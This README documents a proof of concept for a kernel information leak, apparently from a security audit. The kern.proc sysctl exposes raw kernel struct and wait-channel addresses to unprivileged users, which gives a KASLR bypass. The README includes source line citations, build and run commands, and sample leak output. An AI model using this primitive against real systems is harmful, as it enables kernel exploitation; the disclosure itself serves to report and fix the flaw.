# DF-0016 — PoC

`leak_kinfo.c` — unprivileged disclosure of kernel heap / `struct proc`
pointers via the world-readable `kern.proc.*` sysctl (`kinfo_proc`).

## The bug

`fill_kinfo_proc()` / `fill_kinfo_lwp()` (`sys/kern/kern_kinfo.c:128-129`,
`:272`, `:301`, `:321`) fill user-visible `kinfo_proc` / `kinfo_lwp` fields
with raw kernel virtual addresses:

```c
kp->kp_paddr = (uintptr_t)p;          /* struct proc slab address    */
kp->kp_fd    = (uintptr_t)p->p_fd;    /* struct filedesc slab address*/
kl->kl_wchan = (uintptr_t)td_wchan;   /* wait-channel address        */
kp->kp_ktaddr= (uintptr_t)td;         /* kernel thread address       */
```

These are copied out unredacted via `sysctl_out_proc`
(`sys/kern/kern_proc.c:1603/1612/1633`). `sysctl_kern_proc` for
`KERN_PROC_PID` only checks `PRISON_CHECK` (jail), not `p_trespass`
(`kern_proc.c:1690`), so an unprivileged user reads the `kinfo_proc` of any
pid (including every root daemon) and recovers those addresses — a
KASLR-bypass / slab-address primitive.

## Build

```
cc -o leak_kinfo leak_kinfo.c      # or: ./build.sh
```

## Run

As an **unprivileged** user (e.g. `maxx`):

```
./leak_kinfo       # or: ./run.sh
```

## Expected output (bug present)

```
pid 1      uid=0    comm=init
    kp_paddr   = 0xfffff80066807880   (struct proc slab)
    kp_fd      = 0xfffff80066840ec0   (filedesc slab)
    kl_wchan   = 0xfffff80066807880   (wait channel)
...
  pid 1 kp_paddr: 0xfffff80066807880 / 0xfffff80066807880 / 0xfffff80066807880  (STABLE)
result: 24 kernel pointers leaked across 8 processes
result: LEAK CONFIRMED (KASLR-defeat / slab-address primitive)
```

`kp_paddr` is the live slab address of the target's `struct proc`. Cross-ref:
`cron`'s `kl_wchan = 0xffffffff8130f670` exactly matches the `nm` symbol
`nanowait` (kernel `.text`) — see `leak_sample.txt`. On a fixed kernel the
fields are 0 and the program exits 2.
